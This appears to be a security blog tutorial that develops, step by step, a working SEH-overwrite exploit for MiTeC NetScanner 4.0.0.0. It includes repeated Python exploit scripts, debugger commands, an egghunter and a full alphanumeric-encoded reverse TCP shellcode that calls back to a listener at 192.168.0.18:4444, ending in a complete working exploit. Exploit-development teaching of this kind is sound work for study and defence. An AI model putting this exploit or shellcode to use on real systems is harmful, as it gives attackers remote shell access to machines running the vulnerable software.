| 15 min read
In this article, we will create an exploit for MiteC NetScanner 4.0.0.0, taking advantage of a vulnerability found some years ago.
The original report can be found here, and the author claims this at the end (sic):
Exploit problem
1. Input string(value) was replaced '0x3f' in the memory. then shellcode should be encoded to alpha_mixed.
Buffer size was 171 bytes. but, encoded shellcode size was over 600 bytes.
2. Null byte cannot be inserted into Input field. so we can't use SEH pointer in a range of NetScanner.exe address (0x00400000~0x008c3000)
3. payload was consisted of 'junk - shellcode - nSEH ptr - SEH ptr'. but this step was fail. because junk buffer size was 76 bytes.
Can't insert shellcode
In this post, we will try to overcome the aforementioned Exploit problems to see if we can come up with a working exploit with something like TCP
shell.
Vulnerability
The first thing to do is to identify the vulnerability. According to the author of the original exploit, it seems that there is a buffer overflow in the TOOLS → Detect IP from Host name…
functionality. Let’s check that:
Indeed. Now, we can start creating our proof-of-concept exploit:
#!/usr/bin/env python3
"""
NetScanner 4.0.0.0 exploit.
Vulnerable Software: NetScanner
Vendor: MiTeC
Version: 4.0.0.0
Exploit Author: Andres Roldan
Tested On: Windows Vista Business 32 bits
Writeup: https://fluidattacks.com/blog/netscan-exploit/
"""
PAYLOAD = (
b'A' * 500
)
with open('exploit.txt', 'wb') as fd:
fd.write(PAYLOAD)
From now on, we should open the resulting exploit.txt
file and copy/paste the resulting payload to NetScanner
. Do that under a debugger to check what’s going on:
Great. It seems to be an SEH overwrite vulnerability.
Now, we must check at what offset the SEH handler
is started to be overwritten. To do that, we can create a cyclic pattern using the Metasploit pattern_create.rb
tool:
$ msf-pattern_create -l 500
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq
Update our exploit with that:
#!/usr/bin/env python3 """ NetScanner 4.0.0.0 exploit. Vulnerable Software: NetScanner Vendor: MiTeC Version: 4.0.0.0 Exploit Author: Andres Roldan Tested On: Windows Vista Business 32 bits Writeup: https://fluidattacks.com/blog/netscan-exploit/ """ PAYLOAD = ( b'<paste pattern here>'
)
with open('exploit.txt', 'wb') as fd:
fd.write(PAYLOAD)
And check it:
Now, check the offset with the pattern_offset.rb
tool:
$ msf-pattern_offset -q 37634136
[*] Exact match at offset 80
Update our exploit with that offset:
#!/usr/bin/env python3
"""
NetScanner 4.0.0.0 exploit.
Vulnerable Software: NetScanner
Vendor: MiTeC
Version: 4.0.0.0
Exploit Author: Andres Roldan
Tested On: Windows Vista Business 32 bits
Writeup: https://fluidattacks.com/blog/netscan-exploit/
"""
PAYLOAD = (
b'A' * 80 +
b'B' * 4 +
b'C' * 416
)
with open('exploit.txt', 'wb') as fd:
fd.write(PAYLOAD)
And check it:
Great! Now, let’s check for bad chars.
Checking for bad chars
One of the problems mentioned by the original exploit author is that we must encode our shellcode using an alphanumeric encoder. We can verify the bad chars by sending an array with all the possible ASCII chars, excluding some usual suspects (carriage return \x0d
and line feed \x0a
). First, we must create the array on our debugger, so we can later compare it with our injected payload on memory. This can be done using this command:
!mona bytearray -cpb '\x0a\x0d'
And we can create the same string on our exploit:
#!/usr/bin/env python3
"""
NetScanner 4.0.0.0 exploit.
Vulnerable Software: NetScanner
Vendor: MiTeC
Version: 4.0.0.0
Exploit Author: Andres Roldan
Tested On: Windows Vista Business 32 bits
Writeup: https://fluidattacks.com/blog/netscan-exploit/
"""
EXCLUDE = ('0xa', '0xd')
BADCHARS = bytes(bytearray([x for x in range(256) if hex(x) not in EXCLUDE]))
PAYLOAD = (
b'A' * 80 +
b'B' * 4 +
BADCHARS
)
with open('exploit.txt', 'wb') as fd:
fd.write(PAYLOAD)
Now, run the updated exploit to inject the resulting payload. We can compare the injected bytes with the in-memory bytes using:
!mona compare -f bytearray-file.bin -a <address start of badchars array on memory>
In our case, that would be:
!mona compare -f c:\mona\NetScanner\bytearray.bin -a 0012F538
And the result is:
[+] Comparing with memory at location : 0x0012f538 (Stack)
Only 171 original bytes of 'normal' code found.
,-----------------------------------------------.
| Comparison results: |
|-----------------------------------------------|
0 |00 01 02 03 04 05 06 07 08 09 0b 0c 0e 0f 10 11| File
|20 | Memory
10 |12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20 21| File
| | Memory
20 |22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f 30 31| File
| | Memory
30 |32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f 40 41| File
| | Memory
40 |42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51| File
| | Memory
50 |52 53 54 55 56 57 58 59 5a 5b 5c 5d 5e 5f 60 61| File
| | Memory
60 |62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71| File
| | Memory
70 |72 73 74 75 76 77 78 79 7a 7b 7c 7d 7e 7f 80 81| File
| | Memory
80 |82 83 84 85 86 87 88 89 8a 8b 8c 8d 8e 8f 90 91| File
| | Memory
90 |92 93 94 95 96 97 98 99 9a 9b 9c 9d 9e 9f a0 a1| File
| | Memory
a0 |a2 a3 a4 a5 a6 a7 a8 a9 aa ab ac ad ae af b0 b1| File
| 00 0a 80 00 00| Memory
b0 |b2 b3 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf c0 c1| File
|80 f6 12 00 e1 d1 76 74 00 00 00 00 00 00 00 00| Memory
c0 |c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf d0 d1| File
|00 00 00 00 00 00 00 00 04 3a fd bb 30 f6 12 00| Memory
d0 |d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df e0 e1| File
| f8 da 75 08 01 19 00 15 02 00 00 00 00 00 00| Memory
e0 |e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef f0 f1| File
|00 00 00 00 15 02 00 00 cd ab ba dc 00 00 00 00| Memory
f0 |f2 f3 f4 f5 f6 f7 f8 f9 fa fb fc fd fe ff | File
|80 f6 12 00 15 02 00 00 a8 f6 12 00 5c f6 | Memory
`-----------------------------------------------'
It seems that the only mangling occurred at the 00
byte that was modified to 20
. Also, it seems that the buffer was dropped after AC
. We can inject the other part of the ASCII array to check that:
#!/usr/bin/env python3
"""
NetScanner 4.0.0.0 exploit.
Vulnerable Software: NetScanner
Vendor: MiTeC
Version: 4.0.0.0
Exploit Author: Andres Roldan
Tested On: Windows Vista Business 32 bits
Writeup: https://fluidattacks.com/blog/netscan-exploit/
"""
EXCLUDE = ('0xa', '0xd')
BADCHARS = bytes(bytearray([x for x in range(172, 256) if hex(x) not in EXCLUDE]))
PAYLOAD = (
b'A' * 80 +
b'B' * 4 +
BADCHARS
)
with open('exploit.txt', 'wb') as fd:
fd.write(PAYLOAD)
The result is:
And the comparison table result is:
Well, it seems that after all, only the 0x00
, 0x0a
and 0x0d
chars are not allowed. Not bad.
Exploiting
Now that we know the nature of the vulnerability, we can start the actual exploitation. The first thing to do is check if NetScanner
has executable modules without SafeSEH
enabled. To do that, we can use the following mona
command:
!mona modules -cm safeseh=off
And the result is:
It seems that the only module compiled without SafeSEH
is the executable itself. However, as you can see in the Base
address, it starts with 00
, which means that when we inject it, it would be translated to 20
, according to the bad chars analysis we just did. Let’s check that anyway.
First, let’s find suitable POP/POP/RET
sequences with:
!mona seh -cm safeseh=off
At least we have a lot. I’ll pick the first one at 00407119
:
Update our exploit with that:
#!/usr/bin/env python3
"""
NetScanner 4.0.0.0 exploit.
Vulnerable Software: NetScanner
Vendor: MiTeC
Version: 4.0.0.0
Exploit Author: Andres Roldan
Tested On: Windows Vista Business 32 bits
Writeup: https://fluidattacks.com/blog/netscan-exploit/
"""
import struct
PAYLOAD = (
b'A' * 80 +
# 00407119 |. 59 POP ECX
# 0040711A |. 5D POP EBP
# 0040711B \. C2 0400 RETN 4
struct.pack('<L', 0x00407119) +
b'C' * 416
)
with open('exploit.txt', 'wb') as fd:
fd.write(PAYLOAD)
And check it:
Look carefully at the resulting stack state:
Several things are important to notice:
-
The
00
byte on ourPOP/POP/RET
sequence was mangled and changed to20
, as expected. -
The application somehow overwrites part of the
A
chars with0
atnSEH-8
. -
The
C
buffer seems unaffected.
Now check the end of the C
buffer:
We can see that there are some 00
bytes here, probably left-overs of the affected function stack frame. We can leverage those 00
to get our desired POP/POP/RET
address.
3-byte overwrite
To overcome the problem of the NULL byte mangling, we can do a partial overwrite of the SEH
handler. What we first did was:
=> \x41\x41\x41\x41\x41\x41... \x41\x41\x41\x41 \x19\x71\x40\x00 \x43...
._____________________________.__________________.__________________.________.
Overflowed var nSEH SEH Handler C buff
And that’s where our \x00
byte was changed to 0x20
. Let’s check what would happen if we write only 3 bytes of the POP/POP/RET
address, like this:
=> \x41\x41\x41\x41\x41\x41... \x41\x41\x41\x41 \x19\x71\x40
._____________________________.__________________.__________________.
Overflowed var nSEH SEH Handler
Update our exploit:
#!/usr/bin/env python3
"""
NetScanner 4.0.0.0 exploit.
Vulnerable Software: NetScanner
Vendor: MiTeC
Version: 4.0.0.0
Exploit Author: Andres Roldan
Tested On: Windows Vista Business 32 bits
Writeup: https://fluidattacks.com/blog/netscan-exploit/
"""
PAYLOAD = (
b'A' * 80 +
# 00407119 |. 59 POP ECX
# 0040711A |. 5D POP EBP
# 0040711B \. C2 0400 RETN 4
b'\x19\x71\x40'
)
with open('exploit.txt', 'wb') as fd:
fd.write(PAYLOAD)
And check it:
Awesome! We used the stack left-overs to complete our POP/POP/RET
address.
Now, if we run the POP/POP/RET
sequence, we would land at nSEH
which is only 4 bytes:
And as we don’t have any bytes after the SEH
handler, we must jump back to the start of our A
buffer. With the help of our debugger, we can get the needed bytes EB B4
. We can update our nSEH
with that:
#!/usr/bin/env python3
"""
NetScanner 4.0.0.0 exploit.
Vulnerable Software: NetScanner
Vendor: MiTeC
Version: 4.0.0.0
Exploit Author: Andres Roldan
Tested On: Windows Vista Business 32 bits
Writeup: https://fluidattacks.com/blog/netscan-exploit/
"""
PAYLOAD = (
b'A' * 76 +
# nSEH
b'\xeb\xb4\x41\x41' +
# 00407119 |. 59 POP ECX
# 0040711A |. 5D POP EBP
# 0040711B \. C2 0400 RETN 4
b'\x19\x71\x40'
)
with open('exploit.txt', 'wb') as fd:
fd.write(PAYLOAD)
And check it:
Great! We now have 61 bytes to work.
Alternate ending: Egghunter
With 61 bytes, we have some room to work. The first thing that comes to mind is the use of an egghunter. Let’s do that.
We first must create the egghunter. I will use the egg osce
this time:
$ msf-egghunter -e osce -f python -v EGGHUNTER
EGGHUNTER = b""
EGGHUNTER += b"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd"
EGGHUNTER += b"\x2e\x3c\x05\x5a\x74\xef\xb8\x6f\x73\x63\x65"
EGGHUNTER += b"\x89\xd7\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
Update our exploit with that:
#!/usr/bin/env python3
"""
NetScanner 4.0.0.0 exploit.
Vulnerable Software: NetScanner
Vendor: MiTeC
Version: 4.0.0.0
Exploit Author: Andres Roldan
Tested On: Windows Vista Business 32 bits
Writeup: https://fluidattacks.com/blog/netscan-exploit/
"""
EGGHUNTER = b""
EGGHUNTER += b"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd"
EGGHUNTER += b"\x2e\x3c\x05\x5a\x74\xef\xb8\x6f\x73\x63\x65"
EGGHUNTER += b"\x89\xd7\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
PAYLOAD = (
# Initial padding
b'A' * 8 +
EGGHUNTER +
b'A' * (76 - 8 - len(EGGHUNTER)) +
# nSEH
b'\xeb\xb4\x41\x41' +
# 00407119 |. 59 POP ECX
# 0040711A |. 5D POP EBP
# 0040711B \. C2 0400 RETN 4
b'\x19\x71\x40'
)
with open('exploit.txt', 'wb') as fd:
fd.write(PAYLOAD)
And check it:
Great. The egghunter is now ready, but there is nothing to hunt. We must create a shellcode, place it anywhere on memory and prepend it with our osceosce
egg. But where?
After some analysis of NetScanner
, I discovered a functionality called Remote Execute…
on where several parameters are needed, but there is one called Command line
that accepts long alphanumeric strings. To our favor, when we type something, it stays on memory:
Let’s check if we can use that field to insert our shellcode. First, we must create an alphanumeric shellcode:
$ msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=192.168.0.18 LPORT=4444 EXITFUNC=none -f raw -e x86/alpha_mixed BufferRegister=EDI
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/alpha_mixed
x86/alpha_mixed succeeded with size 702 (iteration=0)
x86/alpha_mixed chosen with final size 702
Payload size: 702 bytes
WYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIylyxmREPuPc0CPoyYutqkpPdlKrptpnk1B6lLK1BFtNkCBdhVonWaZTfVQkOLlWLcQ1lS2VLUpzajovmwqKwIr8rrr1GnkBrTPLKRjgLLKrlR1ahHcCxS18QsankPY5p5QXSNkpIUHIsGJBiLKFTlKwqiFFQkOLlJaxO4MeQO708ip2UyfVccMxxGKcMUtt5ytqHNkv8a4318SSVnk6lpKlKBxgl7q8SlK4DLK7qJpMYG4UtEtSkskQqv92z0QyoipaOSocjlKVrXknmCmCXUcfRS0EPaxD7PsTrSoaD0hpLRW5vVgYozulxNp5QeP7p6IiTrtbpsXWYmP0k5PkOiEV0BpRpv0g00P3p0PsXZJ6oKoYpkOjuogPjeUe8o0y8eP7b0huRGpga1LMYM60jvprv3gaxLYy5SD1qKOHUk5iPd4TLKOrnFhrUHlBHjPMenBV6kOxUaxsS2McT7poyis0Wsgv7eakFrJWbSiRvyrImU6kwW4fD7LWqc1lMctddvpjfgppDqDpPrvPV1FaV2vRn66aFpSpVaxT9ZlUoMV9oXUlIypPNBvSvIotpqx5XMW5MCPyoYEmklj8E9raMCXlfnummomyoYEelEVQl7zMPykIpRUveoK3wGcT2RO0j30BskOxUAA
Notice that I used the BufferRegister=EDI
parameter because EDI
is the register on where our egghunter will point the start of the shellcode. Let’s update our exploit with that:
#!/usr/bin/env python3 """ NetScanner 4.0.0.0 exploit. Vulnerable Software: NetScanner Vendor: MiTeC Version: 4.0.0.0 Exploit Author: Andres Roldan Tested On: Windows Vista Business 32 bits Writeup: https://fluidattacks.com/blog/netscan-exploit/ """ EGGHUNTER = b"" EGGHUNTER += b"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd" EGGHUNTER += b"\x2e\x3c\x05\x5a\x74\xef\xb8\x6f\x73\x63\x65" EGGHUNTER += b"\x89\xd7\xaf\x75\xea\xaf\x75\xe7\xff\xe7" SHELL = ( b'WYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIyl' b'yxmREPuPc0CPoyYutqkpPdlKrptpnk1B6lLK1BFtNkCBdhVonWaZTf' b'VQkOLlWLcQ1lS2VLUpzajovmwqKwIr8rrr1GnkBrTPLKRjgLLKrlR1' b'ahHcCxS18QsankPY5p5QXSNkpIUHIsGJBiLKFTlKwqiFFQkOLlJaxO' b'4MeQO708ip2UyfVccMxxGKcMUtt5ytqHNkv8a4318SSVnk6lpKlKBx' b'gl7q8SlK4DLK7qJpMYG4UtEtSkskQqv92z0QyoipaOSocjlKVrXknm' b'CmCXUcfRS0EPaxD7PsTrSoaD0hpLRW5vVgYozulxNp5QeP7p6IiTrt' b'bpsXWYmP0k5PkOiEV0BpRpv0g00P3p0PsXZJ6oKoYpkOjuogPjeUe8' b'o0y8eP7b0huRGpga1LMYM60jvprv3gaxLYy5SD1qKOHUk5iPd4TLKO' b'rnFhrUHlBHjPMenBV6kOxUaxsS2McT7poyis0Wsgv7eakFrJWbSiRv' b'yrImU6kwW4fD7LWqc1lMctddvpjfgppDqDpPrvPV1FaV2vRn66aFpS' b'pVaxT9ZlUoMV9oXUlIypPNBvSvIotpqx5XMW5MCPyoYEmklj8E9raM' b'CXlfnummomyoYEelEVQl7zMPykIpRUveoK3wGcT2RO0j30BskOxUAA' ) PAYLOAD = ( # Initial padding b'A' * 8 + EGGHUNTER + b'A' * (76 - 8 - len(EGGHUNTER)) + # nSEH b'\xeb\xb4\x41\x41' + # 00407119 |. 59 POP ECX # 0040711A |. 5D POP EBP # 0040711B \. C2 0400 RETN 4 b'\x19\x71\x40' ) print('[*] Please, paste the following text on:') print('[*] TOOLS -> Remote Execute... -> Command line')
print('')
print(f'osceosce{SHELL.decode()}')
print('')
print('[*] Now paste the exploit payload.')
with open('exploit.txt', 'wb') as fd:
fd.write(PAYLOAD)
Note that I included some instructions. Also, I included osceosce
at the start of the shellcode. Let’s check it:
Awesome!
We were able to overcome all the original exploit problems.
You can download the final exploit here.
Conclusion
Sometimes, we need to be creative when creating our exploits. In this article, we were able to leverage stack left-overs and other functionalities of the vulnerable application to get a fully working exploit.
Recommended blog posts
You might be interested in the following related posts.
Users put their trust in you; they must be protected
Consequential data breaches in the financial sector
Is your financial service as secure as you think?
We need you, but we can't give you any money
Data breaches that left their mark on time
A digital infrastructure issue that many still ignore
Our pick of the hardest challenges for ethical hackers